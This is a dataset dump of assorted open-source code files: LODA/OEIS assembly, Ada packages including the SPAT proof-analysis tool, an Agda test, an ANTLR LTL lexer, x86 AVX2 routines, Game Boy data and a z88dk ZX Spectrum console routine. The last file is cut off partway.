max_stars_repo_path
stringlengths 4
261
| max_stars_repo_name
stringlengths 6
106
| max_stars_count
int64 0
38.8k
| id
stringlengths 1
6
| text
stringlengths 7
1.05M
|
---|---|---|---|---|
programs/oeis/138/A138150.asm | jmorken/loda | 1 | 12693 | ; A138150: n-th run has length n-th prime, with digits 0 and 1 only, starting with 0.
; 0,0,1,1,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
mov $1,1
mov $2,$0
lpb $2
sub $2,2
sub $3,1
mov $6,$0
lpb $6
add $2,$4
trn $3,2
mov $1,$3
sub $5,$3
mov $3,6
sub $6,$6
lpe
add $1,$4
sub $2,1
mov $4,$5
lpe
gcd $1,2
sub $1,1
|
src/progress_indicators-bars.ads | onox/progress_indicators | 3 | 23316 | <filename>src/progress_indicators-bars.ads
-- SPDX-License-Identifier: Apache-2.0
--
-- Copyright (c) 2021 The progress_indicators authors
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
package Progress_Indicators.Bars is
pragma Preelaborate;
type Percentage is range 0 .. 100;
function Get_Bar (Value : Percentage; Width : Natural := 100) return String;
end Progress_Indicators.Bars;
|
software/hal/boards/pixracer_v1/hil/hil-random.adb | TUM-EI-RCS/StratoX | 12 | 10315 | -- Institution: Technische Universität München
-- Department: Real-Time Computer Systems (RCS)
-- Project: StratoX
--
-- Authors: <NAME>
with STM32.RNG.Polling;
-- @summary
-- Target-independent specification for HIL of Random number generator
package body HIL.Random with SPARK_Mode => On is
procedure initialize is
begin
STM32.RNG.Polling.Initialize_RNG;
end;
procedure Get_Unsigned (num : out Unsigned_32) is
begin
num := STM32.RNG.Polling.Random;
end;
end HIL.Random;
|
base/mvdm/dos/v86/cmd/command/envdata.asm | npocmaka/Windows-Server-2003 | 17 | 191 | ;/*
; * Microsoft Confidential
; * Copyright (C) Microsoft Corporation 1991
; * All Rights Reserved.
; */
; SCCSID = @(#)envdata.asm 1.1 85/05/14
; SCCSID = @(#)envdata.asm 1.1 85/05/14
; This file is included by command.asm and is used as the default command
; environment.
Environment Struc ; Default COMMAND environment
Env_PathString db "path="
db 0 ; Null path
Env_Comstring db "comspec="
Env_Ecomspec db "\command.com" ;AC062
db 134 dup (0)
Environment ends
ENVIRONSIZ equ SIZE Environment
ENVIRONSIZ2 equ SIZE Environment - Env_Ecomspec
|
asm/sum/sum.asm | severinkaderli/BTI7061-CSBas | 1 | 4869 | <filename>asm/sum/sum.asm
section .data
Number: db 0xA ; We calculate the sum of the numbers up to this one
section .bss
section .text
global _start
_start:
mov rax, 0 ; We store the sum in rax
mov bl, [Number] ; bl holds the current number
calculate:
add rax, rbx ; Add the current number to the sum
dec rbx ; Decrease the number
jnz calculate ; If not zero loop
exit:
mov rax, 1
mov rbx, 0
int 0x80
|
test/Where.agda | dxts/agda2hs | 55 | 14980 | {-# OPTIONS --no-auto-inline #-}
module Where where
open import Haskell.Prelude hiding (_+_; _*_; _-_)
open import Agda.Builtin.Nat
postulate
bool2nat : Bool → Nat
-- no outer arguments
ex1 : Nat
ex1 = mult num + bool2nat true
where
num : Nat
num = 42
mult : Nat → Nat
mult = _* 100
-- nested where
ex2 : Nat
ex2 = mult num + bool2nat true
where
num : Nat
num = 42
mult : Nat → Nat
mult = _⊗ 100
where
_⊗_ = _*_
-- with outer arguments
ex3 : Nat → Bool → Nat
ex3 n b = mult num + bool2nat b
where
num = 42 + bool2nat b
mult : Nat → Nat
mult = _* n
-- nested where with outer arguments
ex4 : Bool → Nat
ex4 b = mult 42
where
mult : Nat → Nat
mult n = bump n (bool2nat b)
where
bump : Nat → Nat → Nat
bump x y = x * y + (n - bool2nat b)
ex4' : Bool → Nat
ex4' b = mult (bool2nat b)
where
mult : Nat → Nat
mult n = bump n (bool2nat b)
where
bump : Nat → Nat → Nat
bump x y = go (x * y) (n - bool2nat b)
where
go : Nat → Nat → Nat
go z w = z + x + w + y + n + bool2nat b
-- with pattern matching and multiple clauses
ex5 : List Nat → Nat
ex5 [] = zro
where
zro : Nat
zro = 0
ex5 (n ∷ ns) = mult num + 1
where
num = 42 + ex5 ns
mult : Nat → Nat
mult = _* n
-- mix of patterns + inner multiple clauses + nested where
ex6 : List Nat → Bool → Nat
ex6 [] b = zro
where
zro : Nat
zro = 0
ex6 (n ∷ ns) b = mult (num ∷ 1 ∷ [])
where
mult : List Nat → Nat
mult [] = bump 5 (bool2nat b)
where
bump : Nat → Nat → Nat
bump x y = x * y + n
mult (m ∷ ms) = bump n m
where
bump : Nat → Nat → Nat
bump x y = x * y + (m - n)
num = 42 + ex6 ns true
ex7 : Nat → Nat
ex7 n₀ = go₁ n₀
where
go₁ : Nat → Nat
go₁ n₁ = go₂ (n₀ + n₁)
where
go₂ : Nat → Nat
go₂ n₂ = n₀ + n₁ + n₂
ex7' : Nat → Nat
ex7' n₀ = go₁ n₀
where
go₁ : Nat → Nat
go₁ n₁ = go₂ (n₀ + n₁)
where
go₂ : Nat → Nat
go₂ n₂ = go₃ (n₀ + n₁ + n₂)
where
go₃ : Nat → Nat
go₃ n₃ = n₀ + n₁ + n₂ + n₃
ex8 : Nat
ex8 = n₂
where
n₁ : Nat
n₁ = 1
n₂ = n₁ + 1
{-# COMPILE AGDA2HS bool2nat #-}
{-# COMPILE AGDA2HS ex1 #-}
{-# COMPILE AGDA2HS ex2 #-}
{-# COMPILE AGDA2HS ex3 #-}
{-# COMPILE AGDA2HS ex4 #-}
{-# COMPILE AGDA2HS ex4' #-}
{-# COMPILE AGDA2HS ex5 #-}
{-# COMPILE AGDA2HS ex6 #-}
{-# COMPILE AGDA2HS ex7 #-}
{-# COMPILE AGDA2HS ex7' #-}
{-# COMPILE AGDA2HS ex8 #-}
|
src/org/sosy_lab/cpachecker/util/ltl/LtlLexer.g4 | melkishengue/cpachecker | 0 | 7846 | /*
* CPAchecker is a tool for configurable software verification.
* This file is part of CPAchecker.
*
* Copyright (C) 2007-2018 <NAME>
* All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*
* CPAchecker web page:
* http://cpachecker.sosy-lab.org
*/
/*
* Lexer Rules
*/
lexer grammar LtlLexer;
/*
* Rules for ltl syntax (= DEFAULT_MODE)
*/
// LOGIC
TRUE : 'TRUE' | 'True' | 'true' | '1' ;
FALSE : 'FALSE' | 'False' | 'false' | '0' ;
// Logical Unary
NOT : '!' | 'NOT' ;
// Logical Binary
IMP : '->' | '-->' | '=>' | '==>' | 'IMP' ;
EQUIV : '<->' | '<=>' | 'EQUIV' ;
XOR : '^' | 'XOR' ;
// Logical n-ary
AND : '&&' | '&' | 'AND' ;
OR : '||' | '|' | 'OR' ;
// Modal Unary
FINALLY : 'F' | '<>' ;
GLOBALLY : 'G' | '[]' ;
NEXT : 'X' ;
// Modal Binary
UNTIL : 'U' ;
WUNTIL : 'W' | 'WU' ;
RELEASE : 'R' | 'V' ;
SRELEASE : 'S' ;
// Parantheses
LPAREN : '(' ;
RPAREN : ')' ;
// Necessary keywords for parsing a ltl-property file (that is, a file ending with "*.prp")
CHECK : 'CHECK' ;
INIT : 'init' ;
LTL : 'LTL' ;
COMMA : ',' ;
QUOTATIONMARK_START : '"' -> mode(C_EXPRESSION) ;
FUNCTIONNAME : LETTER+ '()' ;
// Variables (a lower-case identifier followed by any letter or number)
VARIABLE : LOWERCASE (LETTER | NUMBER)* ;
// Whitespace
WS : [ \t\r\n\f] -> skip ; // skip spaces, tabs, newlines
/*
* Lexer rules for content within quotationmarks ( == CExpressions )
*/
mode C_EXPRESSION;
QUOTATIONMARK_END : '"' -> mode(DEFAULT_MODE) ;
PARAM : LETTER+ ;
COMPARATOR : EQ | INEQ | GEQ | LEQ | GT | LT ;
MATHOP : PLUS | MINUS | TIMES | DIV | POW ;
VALUE : MINUS? NUMBER+ ; // match any non-empty number
EQ : '==' ;
INEQ : '!=' ;
GEQ : '>=' ;
LEQ : '<=' ;
GT : '>' ;
LT : '<' ;
fragment SIGN : (PLUS | MINUS) ;
PLUS : '+' ;
MINUS : '-' ;
TIMES : '*' ;
DIV : '/' ;
POW : '^' ;
// Whitespace
SPACES : [ ] -> skip ; // skip spaces
/*
* Inline functions for a more readable grammar and a better maintainability. Valid in all modes.
*/
fragment LETTER : (LOWERCASE | UPPERCASE) ;
fragment LOWERCASE : [a-z] ;
fragment UPPERCASE : [A-Z] ;
fragment NUMBER : [0-9] ;
|
asm/startup.asm | lavenderos/lvk | 0 | 85382 | ; This file contains the code that is going to be linked at the beginning of
; the kernel binary.
; It should contain core CPU initialisation routines such as entering
; long mode.
global _start
global cmdline
extern textmodeprint
extern clearscreen
extern check_cpuid
extern check_long_mode
extern paging_init
extern gdt_ptr
extern gdt_ptr_lowerhalf
extern kmain
extern sections_bss
extern sections_bss_end
%define kernel_phys_offset 0xffffffffc0000000
section .bss
cmdline resb 2048
section .text
bits 32
_start:
mov esp, 0xeffff0
; zero out bss
mov edi, sections_bss
mov ecx, sections_bss_end
sub ecx, sections_bss
xor eax, eax
rep stosb
mov esi, dword [ebx+16]
mov edi, cmdline - kernel_phys_offset
mov ecx, 2047
.cpycmdline:
lodsb
stosb
test al, al
jz near .cpycmdline_out
dec ecx
jnz near .cpycmdline
.cpycmdline_out:
call near clearscreen
call near check_cpuid
call near check_long_mode
call near paging_init
lgdt [gdt_ptr_lowerhalf - kernel_phys_offset]
jmp 0x08:.long_mode_init - kernel_phys_offset
.long_mode_init:
bits 64
mov ax, 0x10
mov ss, ax
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
; Jump to the higher half
mov rax, .higher_half
jmp rax
.higher_half:
mov rsp, kernel_phys_offset + 0xeffff0
lgdt [gdt_ptr]
call kmain
.halt:
cli
hlt
jmp .halt
|
thirdparty/adasdl/thin/adasdl/AdaSDL_framebuff/sdltests/threadwin_sprogs.ads | Lucretia/old_nehe_ada95 | 0 | 12620 |
-- ----------------------------------------------------------------- --
-- --
-- This is free software; you can redistribute it and/or --
-- modify it under the terms of the GNU General Public --
-- License as published by the Free Software Foundation; either --
-- version 2 of the License, or (at your option) any later version. --
-- --
-- This software is distributed in the hope that it will be useful, --
-- but WITHOUT ANY WARRANTY; without even the implied warranty of --
-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU --
-- General Public License for more details. --
-- --
-- You should have received a copy of the GNU General Public --
-- License along with this library; if not, write to the --
-- Free Software Foundation, Inc., 59 Temple Place - Suite 330, --
-- Boston, MA 02111-1307, USA. --
-- --
-- ----------------------------------------------------------------- --
-- ----------------------------------------------------------------- --
-- This is a translation, to the Ada programming language, of the --
-- original C test files written by <NAME> - www.libsdl.org --
-- translation made by <NAME> - www.adapower.net/~avargas --
-- ----------------------------------------------------------------- --
with System;
with Interfaces.C;
with SDL.Types; use SDL.Types;
with SDL.Events;
with SDL.Video;
package ThreadWin_Sprogs is
package C renames Interfaces.C;
package V renames SDL.Video;
package Ev renames SDL.Events;
type Icon_Mask_Array_Access is access V.Icon_Mask_Array;
icon_mask : Icon_Mask_Array_Access;
-- Are we done yet?
done : Boolean := False;
procedure LoadIconSurface (
file : in string;
maskp : in out Icon_Mask_Array_Access;
icon : out V.Surface_ptr);
function FilterEvents (event : Ev.Event_ptr) return C.int;
pragma Convention (C, FilterEvents);
function HandleMouse (unused : System.Address) return C.int;
pragma Convention (C, HandleMouse);
function HandleKeyboard (unused : System.Address) return C.int;
pragma Convention (C, HandleKeyboard);
end ThreadWin_Sprogs;
|
oeis/164/A164546.asm | neoneye/loda-programs | 11 | 176960 | ; A164546: a(n) = 8*a(n-1) - 8*a(n-2) for n > 1; a(0) = 1, a(1) = 10.
; 1,10,72,496,3392,23168,158208,1080320,7376896,50372608,343965696,2348744704,16038232064,109515898880,747821334528,5106443485184,34868977205248,238100269760512,1625850340442112,11102000565452800,75809201800085504,517657609877061632,3534787264615809024,24137037237909979136,164817999786353360896,1125447700387547054080,7685037604809549545472,52476719235376019931136,358333453044531763085312,2446853870473245945233408,16708163339429713457184768,114090475751651740095610880,779058499297776213107408896
mov $1,1
mov $2,5
lpb $0
sub $0,1
mul $2,2
sub $2,$1
add $1,$2
mul $2,4
lpe
mov $0,$1
|
src/app/run_spat.adb | HeisenbugLtd/spat | 20 | 13998 | <filename>src/app/run_spat.adb<gh_stars>10-100
------------------------------------------------------------------------------
-- Copyright (C) 2020 by Heisenbug Ltd. (<EMAIL>)
--
-- This work is free. You can redistribute it and/or modify it under the
-- terms of the Do What The Fuck You Want To Public License, Version 2,
-- as published by Sam Hocevar. See the LICENSE file for more details.
------------------------------------------------------------------------------
pragma License (Unrestricted);
------------------------------------------------------------------------------
--
-- SPARK Proof Analysis Tool
--
-- S.P.A.T. - Main program
--
------------------------------------------------------------------------------
with Ada.Command_Line;
with Ada.Containers.Vectors;
with Ada.Directories;
with GNAT.Regexp;
with GNATCOLL.JSON;
with GNATCOLL.Projects;
with GNATCOLL.VFS;
with SPAT.Command_Line;
with SPAT.GPR_Support;
with SPAT.Log;
with SPAT.Spark_Files;
with SPAT.Spark_Info;
with SPAT.Stop_Watch;
with SPAT.Strings;
with SPAT.Version;
with System;
------------------------------------------------------------------------------
-- Run_SPAT
------------------------------------------------------------------------------
procedure Run_SPAT is
package Reg_Exp_List is new
Ada.Containers.Vectors (Index_Type => Positive,
Element_Type => GNAT.Regexp.Regexp,
"=" => GNAT.Regexp."=");
---------------------------------------------------------------------------
-- Print_Entities
---------------------------------------------------------------------------
procedure Print_Entities
(Info : in SPAT.Spark_Info.T;
Sort_By : in SPAT.Spark_Info.Sorting_Criterion;
Cut_Off : in Duration;
Entity_Filter : in Reg_Exp_List.Vector);
---------------------------------------------------------------------------
-- Print_Suggestion
---------------------------------------------------------------------------
procedure Print_Suggestion
(Info : in SPAT.Spark_Info.T;
File_Map : in SPAT.GPR_Support.SPARK_Source_Maps.Map);
---------------------------------------------------------------------------
-- Print_Summary
---------------------------------------------------------------------------
procedure Print_Summary (Info : in SPAT.Spark_Info.T;
Sort_By : in SPAT.Spark_Info.Sorting_Criterion;
Cut_Off : in Duration);
---------------------------------------------------------------------------
-- Print_Entities
---------------------------------------------------------------------------
procedure Print_Entities
(Info : in SPAT.Spark_Info.T;
Sort_By : in SPAT.Spark_Info.Sorting_Criterion;
Cut_Off : in Duration;
Entity_Filter : in Reg_Exp_List.Vector) is separate;
---------------------------------------------------------------------------
-- Print_Suggestion
---------------------------------------------------------------------------
procedure Print_Suggestion
(Info : in SPAT.Spark_Info.T;
File_Map : in SPAT.GPR_Support.SPARK_Source_Maps.Map) is separate;
---------------------------------------------------------------------------
-- Print_Summary
---------------------------------------------------------------------------
procedure Print_Summary (Info : in SPAT.Spark_Info.T;
Sort_By : in SPAT.Spark_Info.Sorting_Criterion;
Cut_Off : in Duration) is separate;
use type SPAT.Subject_Name;
Entity_Filter : Reg_Exp_List.Vector;
begin
if not SPAT.Command_Line.Parser.Parse then
SPAT.Spark_Files.Shutdown;
Ada.Command_Line.Set_Exit_Status (Code => Ada.Command_Line.Failure);
return;
end if;
if SPAT.Command_Line.Version.Get then
SPAT.Log.Message
(Message =>
"run_spat V" & SPAT.Version.Number &
" (compiled by " & System.System_Name'Image & " " &
SPAT.Version.Compiler & ")");
SPAT.Spark_Files.Shutdown;
Ada.Command_Line.Set_Exit_Status (Code => Ada.Command_Line.Success);
return;
end if;
if SPAT.Command_Line.Project.Get = SPAT.Null_Name then
-- The project file option is mandatory (AFAICS there is no way to
-- require an option argument).
SPAT.Log.Message
(Message => "Argument parsing failed: Missing project file argument");
SPAT.Log.Message (Message => SPAT.Command_Line.Parser.Help);
SPAT.Spark_Files.Shutdown;
Ada.Command_Line.Set_Exit_Status (Code => Ada.Command_Line.Failure);
return;
end if;
-- If there were entity filter options given, try compiling the reg exps.
--
-- for Expression of SPAT.Command_Line.Entity_Filter.Get loop
-- The above triggers a GNAT bug box with GNAT CE 2020.
--
declare
Filter : constant SPAT.Command_Line.Entity_Filter.Result_Array
:= SPAT.Command_Line.Entity_Filter.Get;
begin
for Expression of Filter loop
begin
Entity_Filter.Append
(New_Item =>
GNAT.Regexp.Compile
(Pattern => SPAT.To_String (Expression),
Glob => False,
Case_Sensitive => False));
null;
exception
when GNAT.Regexp.Error_In_Regexp =>
SPAT.Log.Message
(Message =>
"Argument parsing failed: """ &
SPAT.To_String (Source => Expression) &
""" is not a valid regular expression.");
SPAT.Spark_Files.Shutdown;
Ada.Command_Line.Set_Exit_Status
(Code => Ada.Command_Line.Failure);
return;
end;
end loop;
end;
Do_Run_SPAT :
declare
SPARK_Files : SPAT.Spark_Files.T;
Timer : SPAT.Stop_Watch.T := SPAT.Stop_Watch.Create;
Sort_By : constant SPAT.Spark_Info.Sorting_Criterion :=
SPAT.Command_Line.Sort_By.Get;
Cut_Off : constant Duration := SPAT.Command_Line.Cut_Off.Get;
Report_Mode : constant SPAT.Command_Line.Report_Mode :=
SPAT.Command_Line.Report.Get;
Project_File : constant GNATCOLL.VFS.Filesystem_String :=
GNATCOLL.VFS."+" (S => SPAT.To_String (SPAT.Command_Line.Project.Get));
File_List : constant SPAT.GPR_Support.SPARK_Source_Maps.Map :=
SPAT.GPR_Support.Get_SPARK_Files (GPR_File => Project_File);
use type SPAT.Command_Line.Report_Mode;
begin
Collect_And_Parse :
begin
-- Step 2: Parse the files into JSON values.
if not File_List.Is_Empty then
SPAT.Log.Debug
(Message =>
"Using up to" & SPAT.Spark_Files.Num_Workers'Image &
" parsing threads.");
Timer.Start;
declare
File_Names : SPAT.Strings.SPARK_File_Names (Capacity => File_List.Length);
begin
for X in File_List.Iterate loop
File_Names.Append (SPAT.GPR_Support.SPARK_Source_Maps.Key (X));
end loop;
SPARK_Files.Read (Names => File_Names);
end;
SPAT.Log.Debug
(Message => "Parsing completed in " & Timer.Elapsed & ".");
end if;
end Collect_And_Parse;
Process_And_Output :
declare
Info : SPAT.Spark_Info.T;
begin
-- Step 3: Process the JSON data.
if not SPARK_Files.Is_Empty then
Timer.Start;
for C in SPARK_Files.Iterate loop
Parse_JSON_File :
declare
Read_Result : constant GNATCOLL.JSON.Read_Result :=
SPARK_Files (C);
File : constant SPAT.SPARK_File_Name :=
SPAT.Spark_Files.Key (C);
begin
if Read_Result.Success then
Info.Map_Spark_File (Root => Read_Result.Value,
File => File);
else
SPAT.Log.Warning
(Message =>
SPAT.To_String (Source => File) & ": " &
GNATCOLL.JSON.Format_Parsing_Error
(Error => Read_Result.Error));
end if;
end Parse_JSON_File;
end loop;
SPAT.Log.Debug
(Message => "Reading completed in " & Timer.Elapsed & ".");
end if;
SPAT.Log.Debug
(Message =>
"Collecting files completed in " & Timer.Elapsed_Total & ".");
SPAT.Log.Debug
(Message => "Cut off point set to " & SPAT.Image (Cut_Off) & ".");
-- Step 4: Output the JSON data.
if SPAT.Command_Line.Summary.Get then
Print_Summary (Info => Info,
Sort_By => Sort_By,
Cut_Off => Cut_Off);
end if;
if Report_Mode /= SPAT.Command_Line.None then
Print_Entities (Info => Info,
Sort_By => Sort_By,
Cut_Off => Cut_Off,
Entity_Filter => Entity_Filter);
end if;
if SPAT.Command_Line.Suggest.Get then
Print_Suggestion (Info => Info,
File_Map => File_List);
end if;
exception
when E : others =>
SPAT.Log.Dump_Exception
(E => E,
Message => "Internal error encountered when processing data!");
end Process_And_Output;
end Do_Run_SPAT;
SPAT.Spark_Files.Shutdown;
Ada.Command_Line.Set_Exit_Status (Code => Ada.Command_Line.Success);
exception
when E : others =>
SPAT.Spark_Files.Shutdown;
-- This shouldn't happen, other exception handlers should have caught
-- such earlier.
SPAT.Log.Dump_Exception
(E => E,
Message => "Fatal error encountered in SPAT!");
Ada.Command_Line.Set_Exit_Status (Code => Ada.Command_Line.Failure);
end Run_SPAT;
|
Windows/FastMaxI32.asm | clayne/FastExtrema | 6 | 245102 | <reponame>clayne/FastExtrema<filename>Windows/FastMaxI32.asm<gh_stars>1-10
; /*******************************************************************
; *
; * Author: <NAME>
; * <EMAIL>
; * https://github.com/komrad36
; *
; * Last updated Oct 11, 2020
; *******************************************************************/
_TEXT$FastMaxI32 SEGMENT ALIGN(64)
FastMaxI32 PROC
mov eax,edx
cmp edx,32
jae CASE_LARGE
vpcmpeqd ymm0,ymm0,ymm0
vpslld ymm0,ymm0,31
lea r8,JUMP_TABLE
movzx edx,byte ptr [r8+rax]
add r8,rdx
lea rdx,[rcx+4*rax]
and eax,-8
lea rcx,[rcx+4*rax]
mov eax,080000000h
jmp r8
JUMP_TABLE:
db 1 DUP ( CASE_0 - JUMP_TABLE)
db 1 DUP ( CASE_1 - JUMP_TABLE)
db 1 DUP ( CASE_2 - JUMP_TABLE)
db 1 DUP ( CASE_3 - JUMP_TABLE)
db 4 DUP ( CASE_4 - JUMP_TABLE)
db 8 DUP ( CASE_8 - JUMP_TABLE)
db 8 DUP (CASE_16 - JUMP_TABLE)
db 8 DUP (CASE_24 - JUMP_TABLE)
db 45 DUP (0CCh)
CASE_24:
vmovdqu ymm0,ymmword ptr [rcx-96]
CASE_16:
vpmaxsd ymm0,ymm0,ymmword ptr [rcx-64]
CASE_8:
vpmaxsd ymm0,ymm0,ymmword ptr [rcx-32]
vpmaxsd ymm0,ymm0,ymmword ptr [rdx-32]
vextracti128 xmm1,ymm0,1
vpmaxsd xmm0,xmm0,xmm1
vpunpckhqdq xmm1,xmm0,xmm0
vpmaxsd xmm0,xmm0,xmm1
vmovshdup xmm1,xmm0
vpmaxsd xmm0,xmm0,xmm1
vmovd eax,xmm0
ret
db 4 DUP (0CCh)
CASE_4:
vmovdqu xmm0,xmmword ptr [rcx]
vpmaxsd xmm0,xmm0,xmmword ptr [rdx-16]
vpunpckhqdq xmm1,xmm0,xmm0
vpmaxsd xmm0,xmm0,xmm1
vmovshdup xmm1,xmm0
vpmaxsd xmm0,xmm0,xmm1
vmovd eax,xmm0
ret
CASE_3:
mov eax,dword ptr [rdx-12]
CASE_2:
cmp eax,dword ptr [rdx-8]
cmovl eax,dword ptr [rdx-8]
CASE_1:
cmp eax,dword ptr [rdx-4]
cmovl eax,dword ptr [rdx-4]
CASE_0:
ret
db 50 DUP (0CCh)
CASE_LARGE:
vmovdqu ymm0,ymmword ptr [rcx]
vmovdqu ymm1,ymmword ptr [rcx+32]
vmovdqu ymm2,ymmword ptr [rcx+64]
vmovdqu ymm3,ymmword ptr [rcx+96]
lea rdx,[rcx+4*rax]
add rcx,256
cmp rcx,rdx
jae LOOP_END
LOOP_TOP:
vpmaxsd ymm0,ymm0,ymmword ptr [rcx-128]
vpmaxsd ymm1,ymm1,ymmword ptr [rcx-96]
vpmaxsd ymm2,ymm2,ymmword ptr [rcx-64]
vpmaxsd ymm3,ymm3,ymmword ptr [rcx-32]
sub rcx,-128
cmp rcx,rdx
jb LOOP_TOP
LOOP_END:
vpmaxsd ymm0,ymm0,ymmword ptr [rdx-128]
vpmaxsd ymm1,ymm1,ymmword ptr [rdx-96]
vpmaxsd ymm2,ymm2,ymmword ptr [rdx-64]
vpmaxsd ymm3,ymm3,ymmword ptr [rdx-32]
vpmaxsd ymm0,ymm0,ymm2
vpmaxsd ymm1,ymm1,ymm3
vpmaxsd ymm0,ymm0,ymm1
vextracti128 xmm1,ymm0,1
vpmaxsd xmm0,xmm0,xmm1
vpunpckhqdq xmm1,xmm0,xmm0
vpmaxsd xmm0,xmm0,xmm1
vmovshdup xmm1,xmm0
vpmaxsd xmm0,xmm0,xmm1
vmovd eax,xmm0
ret
FastMaxI32 ENDP
_TEXT$FastMaxI32 ENDS
END
|
examples/dump_tree/dump_elements.ads | reznikmm/gela | 0 | 595 | <reponame>reznikmm/gela
-- SPDX-FileCopyrightText: 2019 <NAME> <<EMAIL>>
--
-- SPDX-License-Identifier: MIT
-------------------------------------------------------------
with Program.Elements;
package Dump_Elements is
procedure Print (Element : Program.Elements.Element_Access);
end Dump_Elements;
|
programs/oeis/110/A110658.asm | karttu/loda | 0 | 243396 | ; A110658: a(n) = A028242(A028242(A028242(n))).
; 1,0,2,1,0,2,1,0,2,1,3,2,1,3,2,1,3,2,4,3,2,4,3,2,4,3,5,4,3,5,4,3,5,4,6,5,4,6,5,4,6,5,7,6,5,7,6,5,7,6,8,7,6,8,7,6,8,7,9,8,7,9,8,7,9,8,10,9,8,10,9,8,10,9,11,10,9,11,10,9,11,10,12,11,10,12,11,10,12,11,13,12,11,13,12,11,13,12,14,13,12,14,13,12,14,13,15,14,13,15,14,13,15,14,16,15,14,16,15,14,16,15,17,16,15,17,16,15,17,16,18,17,16,18,17,16,18,17,19,18,17,19,18,17,19,18,20,19,18,20,19,18,20,19,21,20,19,21,20,19,21,20,22,21,20,22,21,20,22,21,23,22,21,23,22,21,23,22,24,23,22,24,23,22,24,23,25,24,23,25,24,23,25,24,26,25,24,26,25,24,26,25,27,26,25,27,26,25,27,26,28,27,26,28,27,26,28,27,29,28,27,29,28,27,29,28,30,29,28,30,29,28,30,29,31,30,29,31,30,29,31,30,32,31,30,32,31,30,32,31
mov $1,$0
mov $2,1
mov $4,$0
lpb $2,1
add $1,1
add $1,$0
lpb $4,1
add $1,2
mov $3,3
trn $3,$0
trn $0,2
sub $1,5
sub $4,1
trn $4,$3
lpe
mov $2,$4
lpe
|
unused/develop/obj/scene_1_sprites.asm | pau-tomas/gbvm | 33 | 173509 | ;--------------------------------------------------------
; File Created by SDCC : free open source ANSI-C Compiler
; Version 4.1.4 #12246 (Mac OS X x86_64)
;--------------------------------------------------------
.module scene_1_sprites
.optsdcc -mgbz80
;--------------------------------------------------------
; Public variables in this module
;--------------------------------------------------------
.globl _scene_1_sprites
.globl ___bank_scene_1_sprites
;--------------------------------------------------------
; special function registers
;--------------------------------------------------------
;--------------------------------------------------------
; ram data
;--------------------------------------------------------
.area _DATA
;--------------------------------------------------------
; ram data
;--------------------------------------------------------
.area _INITIALIZED
;--------------------------------------------------------
; absolute external ram data
;--------------------------------------------------------
.area _DABS (ABS)
;--------------------------------------------------------
; global & static initialisations
;--------------------------------------------------------
.area _HOME
.area _GSINIT
.area _GSFINAL
.area _GSINIT
;--------------------------------------------------------
; Home
;--------------------------------------------------------
.area _HOME
.area _HOME
;--------------------------------------------------------
; code
;--------------------------------------------------------
.area _CODE_255
.area _CODE_255
___bank_scene_1_sprites = 0x00ff
_scene_1_sprites:
.byte ___bank_spritesheet_6
.dw _spritesheet_6
.byte ___bank_spritesheet_1
.dw _spritesheet_1
.byte ___bank_spritesheet_7
.dw _spritesheet_7
.byte ___bank_spritesheet_8
.dw _spritesheet_8
.area _INITIALIZER
.area _CABS (ABS)
|
libsrc/target/zx/stdio/generic_console_printc.asm | w5Mike/z88dk | 0 | 245174 | ;
; Print a character for the ZX/TS2068 screen
;
MODULE generic_console_printc
SECTION code_driver
PUBLIC generic_console_printc
EXTERN __zx_console_attr
EXTERN __zx_32col_udgs
EXTERN __zx_32col_font
EXTERN __zx_64col_font
EXTERN __console_w
EXTERN __zx_printc32
EXTERN __zx_printc64
EXTERN generic_console_flags
EXTERN __zx_screenmode
EXTERN __zx_mode0_console_w
EXTERN __zx_print_routine
EXTERN generic_console_zxn_tile_printc
EXTERN __sam_printc
IF FORsam
EXTERN SCREEN_BASE
ENDIF
; Entry:
; a = charcter
; hl = expect_flags
handle_controls:
; Extra codes
cp 18
ld d,1
jr z,start_code
ld d,2
cp 19
jr z,start_code
ld d,16
cp 1
jr z,start_code
cp 2
ret nz
ld d,12
start_code:
ld a,(hl)
or d
ld (hl),a
ret
set_flash:
res 0,(hl)
ld hl,__zx_console_attr
res 7,(hl)
rrca
ret nc
set 7,(hl)
ret
set_bright:
res 1,(hl)
ld hl,__zx_console_attr
res 6,(hl)
rrca
ret nc
set 6,(hl)
ret
set_switch:
res 4,(hl)
ld hl,__zx_printc32
cp 64
ld de,$4020
jr nz,set_switch1
ld hl,__zx_printc64
ld de,$8040
set_switch1:
IF FORsam
; For SAM we only support 64column printing in mode0
ld a,(__zx_screenmode)
and a
ret nz
ENDIF
IF FORts2068|FORzxn
; In the Timex hires mode, we need to double the number of columns
ld a,(__zx_screenmode)
IF FORzxn
; When in tilemap mode, we can't switch between 64/32
bit 6,a
ret nz
ENDIF
cp 6
ld a,d
jr z,set_width
ENDIF
ld a,e
set_width:
ld (__zx_print_routine),hl
ld ( __console_w),a
ld ( __zx_mode0_console_w),a
ret
set_font_hi:
res 2,(hl)
ld (__zx_32col_font+1),a
ret
set_font_lo:
res 3,(hl)
ld (__zx_32col_font),a
ret
; c = x
; b = y
; a = d character to print
; e = raw
generic_console_printc:
rr e
jr c,skip_control_codes
ld hl,expect_flags
bit 0,(hl)
jr nz,set_flash
bit 1,(hl)
jr nz,set_bright
bit 2,(hl)
jr nz,set_font_hi
bit 3,(hl)
jr nz,set_font_lo
bit 4,(hl)
jr nz,set_switch
cp 32
jp c,handle_controls
skip_control_codes:
IF FORsam
ld a,(__zx_screenmode)
and a
